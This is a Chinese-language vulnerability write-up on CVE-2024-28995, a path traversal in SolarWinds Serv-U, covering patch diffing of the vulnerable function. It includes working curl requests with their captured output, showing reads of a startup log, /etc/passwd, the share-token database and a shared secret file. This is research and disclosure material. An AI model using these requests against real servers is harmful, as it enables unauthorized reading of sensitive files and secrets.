CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证

admin 2024年6月17日08:20:19评论11 views字数 20375阅读67分55秒阅读模式

CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证

技术分析

概述

2024 年 6 月 5 日,SolarWinds 发布了一份针对 CVE-2024-28995 的公告,这是一个影响其文件传输解决方案 Serv-U 的高严重性目录遍历漏洞。该漏洞是由Web Immunify的研究员Hussein Daher发现的。

据供应商称,运行于 Windows 或 Linux 上的 Serv-U 以下版本受到影响:

  • Serv-U FTP 服务器 15.4

  • Serv-U 网关 15.4

  • Serv-U MFT 服务器 15.4

根据供应商文档,Serv-U 版本15.3.2及更早版本将于 2025 年 2 月终止使用,并且此版本以下的所有版本都已终止使用并且不再受支持。

我们的分析是在运行 SolarWinds Serv-U 文件服务器(64 位)版本的 Windows Server 2022 系统上进行的15.4.2.126。我们还确认了针对在 Linux 上运行的 Serv-U 文件服务器(64 位)版本的攻击15.4.2.126。在这两种情况下,都使用了所有默认安装选项。在 Windows 或 Linux 上运行 Serv-U 时,会创建一个新的 Serv-U 文件传输和文件共享“域”来反映真实世界的部署。

我们已验证供应商提供的修补程序15.4.2 Hotfix 2(版本15.4.2.157)成功修复了此漏洞。

分析

Serv-U 应用程序主要是用 C++ 编写的本机代码应用程序。大部分代码位于Serv-U.dll二进制文件中。我们下载了该应用程序的易受攻击版本,版本,以及包含 CVE-2024-28995 补丁的15.4.2.126修补程序版本。15.4.2.157

我们用 IDA Pro 分析了这两个二进制文件,然后使用 BinDiff 执行了二进制比较。查看 BinDiff“函数匹配”结果,我们可以看到修补程序中只有一个函数被修改了。

CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证

修改后的函数的两个版本sub_18016DC30在两个二进制文件中具有相同的地址,可以对其进行反编译和比较,以更好地了解发生了什么变化。以下是函数更改的完整输出。

diff --git a/func_vuln.c b/func_patched.cindex a83d349..8a1bd0c 100644--- a/func_vuln.c+++ b/func_patched.c@@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *   char v29; // bl   __int64 v30; // rax   __int64 v31; // rax-  __int64 v32; // rax-  void **v34; // [rsp+38h] [rbp-38h] BYREF-  char v35[8]; // [rsp+40h] [rbp-30h] BYREF-  void **v36; // [rsp+48h] [rbp-28h] BYREF-  wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF-  char v38[24]; // [rsp+58h] [rbp-18h] BYREF+  void **v33; // [rsp+38h] [rbp-38h] BYREF+  char v34[8]; // [rsp+40h] [rbp-30h] BYREF+  void **v35; // [rsp+48h] [rbp-28h] BYREF+  wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF+  char v37[24]; // [rsp+58h] [rbp-18h] BYREF-  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37);-  v36 = &CRhinoString::`vftable';-  std::vector<void *>::_Orphan_range(&v36);-  v36 = (void **)&CSUString::`vftable';-  std::vector<void *>::_Orphan_range(&v36);+  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36);+  v35 = &CRhinoString::`vftable';+  std::vector<void *>::_Orphan_range(&v35);+  v35 = (void **)&CSUString::`vftable';+  std::vector<void *>::_Orphan_range(&v35);   PLH::VTableSwapHook::VTableSwapHook(this, v7, v8);-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") )+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") )   {     Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-      &v34,+      &v33,       Manager);     v10 = -1LL;     do@@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *     while ( aWebClient_0[v10] ); LABEL_4:     ATL::CSimpleStringT<wchar_t,1>::Concatenate(-      &v34,+      &v33,       qword_18046D5F8,-      *(unsigned int *)(qword_18046D5F8 - 16),+      *((unsigned int *)qword_18046D5F8 - 4),       L"Web Client",       v10);-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);-LABEL_46:-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34);-    goto LABEL_47;+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);+    goto LABEL_48;   }-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") )+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") )   {-    if ( a4 )+    if ( !a4+      || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)+      && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) )     {-      if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)-        || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) )-      {-        v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);-        ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-          &v34,-          v12);-        v13 = -1LL;-        do-          ++v13;-        while ( aAdmin_1[v13] );-        ATL::CSimpleStringT<wchar_t,1>::Concatenate(-          &v34,-          qword_18046D5F8,-          *(unsigned int *)(qword_18046D5F8 - 16),-          L"Admin",-          v13);-        ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);-        goto LABEL_46;-      }+      a3 = L"404NotFound.htm";+      v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(+        &v33,+        v14);+      v10 = -1LL;+      do+        ++v10;+      while ( aWebClient_0[v10] );+      goto LABEL_4;     }-    a3 = L"404NotFound.htm";-    v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);+    v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-      &v34,-      v14);-    v10 = -1LL;+      &v33,+      v12);+    v13 = -1LL;     do-      ++v10;-    while ( aWebClient_0[v10] );-    goto LABEL_4;+      ++v13;+    while ( aAdmin_1[v13] );+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(+      &v33,+      qword_18046D5F8,+      *((unsigned int *)qword_18046D5F8 - 4),+      L"Admin",+      v13);+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);   }-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") )+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") )   {     v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-      &v34,+      &v33,       v15);     v16 = -1LL;     do       ++v16;     while ( aCommon_0[v16] );     ATL::CSimpleStringT<wchar_t,1>::Concatenate(-      &v34,+      &v33,       qword_18046D5F8,-      *(unsigned int *)(qword_18046D5F8 - 16),+      *((unsigned int *)qword_18046D5F8 - 4),       L"Common",       v16);-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);-    goto LABEL_46;+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);   }-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") )+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") )   {     v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-      &v34,+      &v33,       v17);     v18 = -1LL;     do       ++v18;     while ( aFvjv_1[v18] );     ATL::CSimpleStringT<wchar_t,1>::Concatenate(-      &v34,+      &v33,       qword_18046D5F8,-      *(unsigned int *)(qword_18046D5F8 - 16),+      *((unsigned int *)qword_18046D5F8 - 4),       L"FVJV",       v18);-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);-    goto LABEL_46;+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);   }-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )   {     v19 = sub_180153E60(a4);     v20 = (CDomainAttrs *)v19;@@ -146,98 +142,100 @@ LABEL_46:               0LL,               0LL,               0LL);-      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) )+      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) )       {-        v22 = (__int64)v36;+        v22 = (__int64)v35;         v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21);-        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23);+        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23);       }     }   }-  else+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )   {-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )-    {-      v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-        &v34,-        v24);-      v25 = -1LL;-      do-        ++v25;-      while ( aSidecar_0[v25] );-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(-        &v34,-        qword_18046D5F8,-        *(unsigned int *)(qword_18046D5F8 - 16),-        L"Sidecar",-        v25);-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);-      goto LABEL_46;-    }-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 )-    {-      v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-        &v34,-        v26);-      v27 = -1LL;-      do-        ++v27;-      while ( aDemo[v27] );-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(-        &v34,-        qword_18046D5F8,-        *(unsigned int *)(qword_18046D5F8 - 16),-        L"Demo",-        v27);-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);-      goto LABEL_46;-    }-    if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") )-    {-      v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37);-      ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32);-      goto LABEL_46;-    }-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35);-    v34 = &CRhinoString::`vftable';-    std::vector<void *>::_Orphan_range(&v34);-    v34 = (void **)&CSUString::`vftable';-    std::vector<void *>::_Orphan_range(&v34);-    v28 = sub_1801A6BD4(&v34, v38);-    v29 = sub_1801A7484(v28);-    `std::locale::global'::`1'::dtor$2(v38);-    CSUString::~CSUString((CSUString *)&v34);+    v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(+      &v33,+      v24);+    v25 = -1LL;+    do+      ++v25;+    while ( aSidecar_0[v25] );+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(+      &v33,+      qword_18046D5F8,+      *((unsigned int *)qword_18046D5F8 - 4),+      L"Sidecar",+      v25);+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);+  }+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 )+  {+    v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(+      &v33,+      v26);+    v27 = -1LL;+    do+      ++v27;+    while ( aDemo[v27] );+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(+      &v33,+      qword_18046D5F8,+      *((unsigned int *)qword_18046D5F8 - 4),+      L"Demo",+      v27);+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);+  }+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") )+  {+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34);+    v33 = &CRhinoString::`vftable';+    std::vector<void *>::_Orphan_range(&v33);+    v33 = (void **)&CSUString::`vftable';+    std::vector<void *>::_Orphan_range(&v33);+    v28 = sub_1801A6C24(&v33, v37);+    v29 = sub_1801A74D4(v28);+    `std::locale::global'::`1'::dtor$2(v37);+    CSUString::~CSUString((CSUString *)&v33);     if ( !v29 )     {       v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);       ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(-        &v34,+        &v33,         v30);       v31 = -1LL;       do         ++v31;       while ( aWebclientnew[v31] );       ATL::CSimpleStringT<wchar_t,1>::Concatenate(-        &v34,+        &v33,         qword_18046D5F8,-        *(unsigned int *)(qword_18046D5F8 - 16),+        *((unsigned int *)qword_18046D5F8 - 4),         L"WebClientNew",         v31);-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);-      goto LABEL_46;+      ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);     }   }-LABEL_47:-  if ( !(unsigned __int8)sub_1801A7484(&v36) )+  else+  {+    CSUString::MakeDirSeparator((CSUString *)&v35);+    if ( (unsigned int)sub_1801A6A18(&v35, L"\..\", 0LL) == -1 )+      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);+    else+      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);+  }+LABEL_48:+  if ( !(unsigned __int8)sub_1801A74D4(&v35) )   {     (*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3);     CSUString::MakeDirSeparator(this);-    CSUString::BuildLocalPath(this, v37);-    if ( (unsigned int)sub_1801A69C8(this, L"\..\", 0LL) != -1 )+    CSUString::BuildLocalPath(this, v36);+    if ( (unsigned int)sub_1801A6A18(this, L"\..\", 0LL) != -1 )       ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8);   }-  CSUString::~CSUString((CSUString *)&v36);+  CSUString::~CSUString((CSUString *)&v35);   return this; }

修改后的函数处理文件路径。我们可以看到修补后的函数增加了以下检查。

  else  {    CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '' character    if ( (unsigned int)sub_1801A6A18(&v35, L"\..\", 0LL) == -1 ) // CString::Find      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);    else      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);  }

检查路径是否包含双点路径段(..),如果发现,则清除该路径。补丁中增加了这样的检查,这强烈表明该函数是目录遍历漏洞的根本原因。

当我们调查这个易受攻击的函数(此处将其重命名为)的使用情况时vulnerable_path_traversal_function,我们发现了该函数的使用模式。例如:

get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);

在 的所有使用中,在调用存在漏洞的函数之前都会检索两个名为和vulnerable_path_traversal_function的 HTTP 请求参数。InternalDirInternalFile

只需提供这两个请求参数就能触发目录遍历漏洞并读取任意文件吗?快速的 curl 命令表明我们正在查找正确的位置……

注意:由于在整个分析过程中,每个示例的 curl 都是在 Windows 主机上运行的,因此用插入符号 (^) 将与号 (&) 转义。

curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax

以下文件系统访问是由目标服务器上的 Procmon 捕获的,并显示了操作中的路径遍历漏洞。

CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证

现在,我们可以修改请求的路径,以到达我们想要读取的目标服务器上的任意文件。在 Windows 上,Serv-U 程序数据存储在文件夹中C:ProgramDataRhinoSoftServ-U。在此文件夹中,文件Serv-U-StartupLog.txt包含应用程序启动期间发出的应用程序日志信息。此文件将包含目标 Serv-U 服务器的版本号等信息。这是验证漏洞的一个很好的文件候选。

重新执行我们的 curl 请求,我们现在可以读取C:ProgramDataRhinoSoftServ-UServ-U-StartupLog.txt件,如下所示。

>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txtHTTP/1.0 200 OKServer: Serv-U/15.4.2.126Date: Tue, 11 Jun 2024 13:46:06 GMTAccept-Encoding: deflateX-Permitted-Cross-Domain-Policies: noneConnection: closeX-Frame-Options: sameoriginX-Same-Domain: 1X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockReferrer-Policy: same-originStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Type: text/plainPragma: no-cacheCache-Control: no-cache,no-store,max-age=0,must-revalidateExpires: -1Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  httponlyContent-Length: 2119[01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC.  All rights reserved.[01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33[01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200[01] Tue 11Jun24 01:28:15 - Loaded graphics library.[01] Tue 11Jun24 01:28:15 - Loaded ODBC database library.[01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries.[01] Tue 11Jun24 01:28:15 - Loaded SQLite library.[01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF.[01] Tue 11Jun24 01:28:15 - Valid Server Identity found[01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized.[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)

成功了!现在我们可以通过双点路径符号遍历操作系统的文件系统并读取任何文件(包括二进制文件),只要我们知道要读取的文件路径。

值得注意的是,我们的目标是 Windows 系统,但能够/在 HTTP 请求中传递正斜杠 ( ) 字符作为路径分隔符。在 Windows 上,反斜杠字符 ( ) 是路径分隔符。这似乎是漏洞根本原因的关键部分。进一步调查,我们发现存在漏洞的函数试图通过..在攻击者提供的路径中查找路径段来检测路径遍历。但是,如果我们提供用正斜杠分隔的路径段,例如/../,我们就可以绕过此检查。稍后,在函数中sub_180165B60,在调用wfopen_s以实际打开此文件之前,将调用一个辅助方法,该方法会将所有字符替换/为底层操作系统的本机路径分隔符。因此,我们可以通过提供最初构造为如下的路径来通过路径遍历路径段的检查:

C:Program FilesRhinoSoftServ-UClient/../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt

然后在打开之前,路径将转换为:

C:Program FilesRhinoSoftServ-UClient\........ProgramDataRhinoSoftServ-U\Serv-U-StartupLog.txt

这是 Windows 上的有效路径。在基于 Linux 的目标上,技术是相同的,但是路径分隔符是相反的,因此将替换为/。

默认的 Windows 安装将以NT AUTHORITYNETWORK SERVICE权限运行 Serv-U 服务。默认的 Linux 安装将以权限运行 Serv-U 服务root。如果 Serv-U 服务没有足够的权限读取某些文件,则正在运行的 Serv-U 服务的权限将影响读取该文件的能力。例如,如果 Serv-U 服务在 Linux 上运行root,则这不是问题。

另一个值得阅读的有趣文件是C:ProgramDataRhinoSoftServ-USharesServ-U.FileShares。这是一个 SQLite3 数据库,其中包含ShareTokenServ-U 共享的每个文件的 。 是外部方读取共享文件所需的秘密。但是在 Windows 上,此文件已锁定,尝试读取此文件将不起作用。进程中ShareToken的 调用将返回。kernelbase!CreateFileWServ-U.exeERROR_SHARING_VIOLATION

当以 Linux 系统为目标时,我们可以读取任意文件,如下/etc/passwd所示。请注意,路径分隔符必须是反斜杠 ( ),而不是正斜杠 (/)。

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=........etc^&InternalFile=passwdHTTP/1.0 200 OKServer: Serv-U/15.4.2.126Date: Tue, 11 Jun 2024 14:55:28 GMTAccept-Encoding: deflateX-Permitted-Cross-Domain-Policies: noneConnection: closeX-Frame-Options: sameoriginX-Same-Domain: 1X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockReferrer-Policy: same-originStrict-Transport-Security: max-age=31536000; includeSubDomainsLast-Modified: Tue, 16 Jan 2024 10:58:11 GMTExpires: -1Cache-Control: must-revalidate, privateContent-Length: 3017root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证

虽然 SQLite 数据库Serv-U.FileShares在 Windows 上被锁定,但我们可以在 Linux 目标上成功读取此文件,如下所示:

curl -i -k --path-as-is https://192.168.86.43/?InternalDir=..Shares^&InternalFile=Serv-U.FileShares --output Serv-U.FileShares  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 61440  100 61440    0     0  1965k      0 --:--:-- --:--:-- --:--:-- 2000k

生成的输出将包含一个 HTTP 响应标头,我们必须先将其删除,以便只留下所需文件的内容。然后,使用DB Browser for SQLite之类的工具,我们可以读取数据库并发现目标系统上的每个共享文件。

CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证

知道共享文件的位置(如表中FullPath的列所示) ad_hoc_files,我们现在可以按如下方式读取共享文件:

请注意路径中的随机目录名称(PzhW3v7WW在上面的例子中),如果不先读取数据库,我们将无法猜到它Serv-U.FileShares

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=........testdomain7PzhW3v7W^&InternalFile=secrets.txtHTTP/1.0 200 OKServer: Serv-U/15.4.2.126Date: Tue, 11 Jun 2024 15:56:44 GMTAccept-Encoding: deflateX-Permitted-Cross-Domain-Policies: noneConnection: closeX-Frame-Options: sameoriginX-Same-Domain: 1X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockReferrer-Policy: same-originStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Type: text/plainPragma: no-cacheCache-Control: no-cache,no-store,max-age=0,must-revalidateExpires: -1Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  secure; httponlyContent-Length: 18THIS IS A SECRET!

补救措施

